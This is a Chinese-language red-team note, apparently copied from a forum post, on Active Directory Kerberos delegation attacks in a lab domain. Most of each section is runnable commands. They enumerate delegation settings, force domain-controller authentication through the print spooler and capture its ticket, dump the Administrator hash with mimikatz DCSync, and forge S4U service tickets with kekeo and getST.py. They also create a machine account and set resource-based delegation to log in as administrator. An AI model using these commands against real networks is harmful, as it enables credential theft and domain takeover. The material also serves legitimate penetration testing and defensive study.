委派攻击

@wintry大约 6 分钟

域委派概念

委派是一种域内应用模式,是指将域内用户账户的权限委派给服务账号,服务账号因此能以用户的身份在域内展开活动(请求新的服务等)。

委派分类
  • 非约束委派(Unconstrained Delegation, UD)
  • 约束委派(Constrained Delegation, CD)
  • 基于资源的约束委派(Resource Based Constrained Delegation, RBCD)

非约束委派攻击

服务账号可以请求得到域内用户的TGT,服务账号使用该TGT模拟域内用户访问任意服务。

被配置为非约束委托的系统将把TGT(Ticket Granting Ticket)存储到LSASS内存中,以便使用户能够访问终端资源。非约束委派的设置需要SeEnableDelegation权限,一般为管理员具有此权限。

域控机器账户默认配置非约束性委派。

非约束性委派流程
  1. 域内用户A经过Kerberos认证后访问WEB服务器
  2. WEB服务器以服务账户B向KDC请求用户A的可转发票据TGT
  3. KDC检查B的委派属性,下发TGT
  4. 服务账户B使用TGT向KDC申请服务票据TGS(访问文件服务器等功能)
  5. KDC检查委派属性和申请的服务,下发TGS
  6. 服务账户使用TGS访问其他服务

1)侦察ADFind

# ADFind查询非约束委派普通账户
AdFind.exe -b "DC=redteam,DC=lab" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn

# ADFind查询非约束机器账户
AdFind.exe -b "DC=redteam,DC=lab" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn

2)结合打印机漏洞利用

强迫运行打印服务(Print Spooler)的主机向目标主机发起 Kerberos 或 NTLM 认证请求。

使用Rubeusopen in new window工具监听

# 查询打印服务是否开启|域控上查看
sc query spooler

# 使用Rubeus监听来自域控的票据
Rubeus.exe monitor /interval:2 /filteruser:DC2016$

使用SpoolSampleopen in new window工具执行打印机漏洞利用,进行强制验证

# 强制回连,获得域控机器账户的TGT
SpoolSample.exe DC2016 WIN7域内主机

Rubeus监听到票据并导入该票据

# rubeus导入票据
Rubeus.exe ptt /ticket:<监听到的Ticket>

使用mimikatz导出Hash

# mimikatz导出域内用户Hash
mimikatz.exe "lsadump::dcsync /domain:redteam.lab /user:REDTEAM\Administrator" "exit"

然后利用此Hash可以远程登陆SMB

约束性委派攻击

约束委派通过S4U2Self和S4U2Proxy两个扩展协议限制服务账户只能访问指定服务资源。

约束委派有两种

  1. 仅使用Kerberos,不能进行协议转换
  2. 使用任何身份验证协议
S4u2self & S4U2proxy

S4U2self协议允许服务代表任意用户请求访问自身服务的ST服务票据 S4U2proxy协议允许服务在已取得ST服务票据下代表任意用户获取另一个服务的服务票据 约束委派限制了S4U2proxy协议的请求范围,使得配置了委派属性的服务只能模拟用户身份访问特定的其他服务。

配置了约束性委派的账户属性会有如下两个变化:

  1. 账户userAccountControl属性会被设置为TRUSTED_TO_AUTH_FOR_DELEGATION标志位,值为16781312
  2. 账户的msDS-AllowedToDelegateTo属性,添加允许委派的服务

1)侦察

# AdFind.exe查询约束委派机器账户
AdFind.exe -b "DC=redteam,DC=lab" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

# AdFind.exe查询约束委派服务账户
AdFind.exe -b "DC=redteam,DC=lab" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

2)使用机器账户的票据 | kekeo

利用条件:

  1. 需要Administrator权限
  2. 目标机器账户配置了约束性委派

使用mimikatzopen in new window工具导出lsass.exe进程中所有的票据,得到想要的服务票据

# 导出票据
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"

OHSQfK.png

使用kekeo工具申请服务票据(S4U2Proxy协议)

# 申请服务票据
kekeo.exe "tgs::s4u /tgt:[0;3e7]-2-1-40e10000-WIN10-1$@krbtgt-REDTEAM.LAB.kirbi /user:Administrator@redteam.lab /service:cifs/DC2016.redteam.lab" "exit"

OHS1SO.png

# 导入票据
mimikatz.exe "kerberos::ptt TGS_Administrator@redteam.lab@REDTEAM.LAB_cifs~DC2016.redteam.lab@REDTEAM.LAB.kirbi" "exit"

# 访问
dir \\DC2016.redteam.lab\c$

3)使用机器账户的Hash值 | kekeo

# 请求票据
kekeo.exe "tgt::ask /user:WIN10-1$ /domain:redteam.lab /NTLM:8f91f8786d308e62c609688886dc7c4c" "exit"

# 申请administrator权限的票据
kekeo.exe "tgs::s4u /tgt:TGT_WIN10-1$@REDTEAM.LAB_krbtgt~redteam.lab@REDTEAM.LAB.kirbi /user:Administrator@redteam.lab /service:cifs/DC2016.redteam.lab" "exit"

# mimikatz
mimikatz.exe "kerberos::ptt TGS_Administrator@redteam.lab@REDTEAM.LAB_cifs~DC2016.redteam.lab@REDTEAM.LAB.kirbi" "exit"

# 访问
dir \\DC2016.redteam.lab\c$

基于资源的约束性委派攻击

RBCD主要就是委派的管理移交给服务资源进行控制,其余和约束性委派基本相同。

:::deatails 配置了RBCD的账户属性变化

  • msDS-AllowedToActOnBehalfOfOtherIdentity属性指向委派账户

可以将基于资源的约束性委派理解为传统的约束性委派的反向过程。以 Service 1 和 Service 2 两个服务为例,传统的约束性委派需要在 Service 1 上设置 msDS-AllowedToDelegateTo 属性,以指定对 Service 2 上的哪一个服务进行委派。而在基于资源的约束性委派中,需要在 Service 2 上将 msDS-AllowedToActOnBehalfOfOtherIdentity 属性值设为 Service 1 的 SID,以允许 Service 1 对 Service 2 上的服务进行委派。

此外,在传统的约束性委派中,通过 S4u2self 申请到的 ST 票据一定是可转发的,如果不可转发,则后续的 S4U2Proxy 阶段将失败。但是在基于资源的约束性委派中,不可转发的 ST 票据仍然可以通过 S4U2Proxy 阶段对其他服务进行委派认证。

:::

已知Acount Operators组用户拿下主机

Acount Operators组用户可以获得域内除域控的所有主机。

Acount Operators组成员可以修改域内任意主机msDS-AllowedToActOnBehalfOfOtherIdentity属性

利用条件
  1. 获取到属于Acount Operators组的用户账户
  2. 可以创建机器账户

1)查询Acount Operators组成员

adfind.exe -h 10.10.2.20:389 -s subtree -b CN="Account Operators",CN=Builtin,DC=redteam,DC=lab member

2)创建机器账户

# 使用bloodyAD.py创建机器账户
python3 bloodyAD.py -d redteam.lab -u mark -p '123.com' --host 10.10.2.20 addComputer CPT02 'Passw0rd'

3)设置委派属性

# 使用PowerView工具查询机器账户SID
powerpick Get-NetComputer CPT02 -Properties objectsid
S-1-5-21-3309395417-4108617856-2168433834-1112

# 修改服务资源msDS-AllowedToActOnBehalfOfOtherIdentity属性
powerpick $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3309395417-4108617856-2168433834-1112)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer WIN7-1 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

# 查询属性(后一条命令使用到了ActiveDirectory模块,域控默认带)
powerpick Get-DomainComputer WIN7-1 -Properties msds-allowedtoactonbehalfofotheridentity

# 创建服务票据
python3 getST.py redteam.lab/CPT02$:Passw0rd -spn cifs/WIN7-1.redteam.lab -impersonate administrator -dc-ip 10.10.2.20

# 导入票据
export KRB5CCNAME=/root/Desktop/administrator.ccache

# 直接登录
python3 wmiexec.py -k redteam.lab/administrator@WIN7-1.redteam.lab -no-pass

注意

本文内容全部复制自 https://forum.butian.net/share/1591。open in new window

原作者xigua师傅写的很好,我这直接复制过来备忘了(师傅写的其他文章也很好推荐去看看)。